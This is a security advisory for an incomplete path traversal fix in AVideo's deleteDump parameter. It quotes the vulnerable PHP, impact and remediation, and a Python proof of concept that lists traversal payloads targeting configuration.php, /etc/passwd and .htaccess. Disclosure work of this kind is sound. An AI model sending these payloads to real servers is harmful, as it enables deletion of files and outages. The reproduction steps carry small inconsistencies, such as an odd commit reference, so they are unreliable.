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Incomplete fix for CVE-2026-33293: Path Traversal in AVideo

Moderate DanielnetoDotCom published GHSA-5879-4fmr-xwf2 last week

Software

AVideo

Affected versions

< commit 941decd6d19e

Patched versions

>= commit 941decd6d19e

Description

Summary

The incomplete fix for AVideo's CloneSite `deleteDump` parameter does not apply path traversal filtering, allowing `unlink()` of arbitrary files via `../../../../` sequences in the GET parameter.

Affected Package

- **Ecosystem:** Other
- **Package:** AVideo
- **Affected versions:** < commit [941decd](#)
- **Patched versions:** >= commit [941decd](#)

Severity

Medium

CWE

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Details

At line 44-48 of `cloneServer.json.php` (pre-fix):

```

if (!empty($_GET['deleteDump'])) {
    $resp->error = !unlink("{$_clonesDir}{$_GET['deleteDump']}");
    $resp->msg = "Delete Dump {$_GET['deleteDump']}";
    die(json_encode($resp));
}

```



No `basename()`, no `realpath()` check, no path traversal filtering. `$_GET['deleteDump']` is concatenated directly with `$_clonesDir`.

The vulnerable code has zero protection against path traversal:

- No `basename()` to strip directory components
- No `realpath()` to validate the final path
- No check that resolved path is within `$_clonesDir`
- No `../` sanitization
- Additionally, `exec()` calls with `mysqldump` pass credentials on the command line

PoC

```

"""
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"""

import sys
import os

VULN_SRC = os.path.join(os.path.dirname(__file__), "src", "cloneServer.json.php")

def verify_source_file():
    if not os.path.isfile(VULN_SRC):
        print("ERROR: Source not found at %s" % VULN_SRC)
        sys.exit(1)
    with open(VULN_SRC, "r") as f:
        src = f.read()
    if "unlink(" not in src or "deleteDump" not in src:
        print("ERROR: Expected patterns not found")
        sys.exit(1)
    return src

def vulnerable_delete_path(clones_dir, delete_dump):
    return clones_dir + delete_dump

def test_path_traversal():
    clones_dir = "/var/www/html/AVideo/videos/clones/"
    payloads = [
        ("../../../../configuration.php", "Delete site configuration"),
        ("../../../../etc/passwd", "Delete system file"),
        ("../../../../.htaccess", "Delete .htaccess"),
    ]

```



```
print("Testing path traversal via deleteDump parameter:")
print("Base clones_dir: %s" % clones_dir)
print()

all_traversal = True
for payload, desc in payloads:
    resolved = vulnerable_delete_path(clones_dir, payload)
    real_resolved = os.path.normpath(resolved)
    escaped = not real_resolved.startswith(os.path.normpath(clones_dir))

    if escaped:
        print("[+] TRAVERSAL: %s" % desc)
        print("    Payload: deleteDump=%s" % payload)
        print("    unlink() target: %s" % resolved)
        print("    Normalized: %s" % real_resolved)
    else:
        all_traversal = False

return all_traversal

def main():
    print("=" * 70)
    print("CVE-2026-33293: AVideo CloneSite Path Traversal PoC")
    print("=" * 70)
    print()

    src = verify_source_file()
    print("[+] Source file verified: %s" % VULN_SRC)

    for line in src.split('\n'):
        if 'unlink(' in line and 'deleteDump' in line:
            print("[+] Vulnerable line: %s" % line.strip())
            break

    print()

    if test_path_traversal():
        print("\nVULNERABILITY CONFIRMED")
        sys.exit(0)
    else:
        print("\nVULNERABILITY NOT CONFIRMED")
        sys.exit(1)

if __name__ == "__main__":
    main()
```

```
python3 poc.py
```



Steps to reproduce:

1. `git clone https://github.com/WWBN/AVideo /tmp/AVideo_test`
2. `cd /tmp/AVideo_test && git checkout 941decd6d19e2e694acb75e86317d10fbb560284-1`
3. `python3 poc.py`

Expected output:

VULNERABILITY CONFIRMED

The deleteDump parameter passes unsanitized path traversal sequences (../..) directly to unlink(), enabling arbitrary file deletion.



Impact

An attacker can delete arbitrary files on the server. Deleting `configuration.php` takes the site offline. Deleting `.htaccess` exposes protected directories. Deleting system files can affect other services.

Suggested Remediation

Use `basename($_GET['deleteDump'])` to strip directory components. Validate that `realpath()` of the final path is within `$clonesDir`. Validate file extension. Add authentication checks.

References

- Incomplete fix commit: [941decd](#)
- Original CVE: [CVE-2026-33293](#)

Severity

Moderate

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Weaknesses

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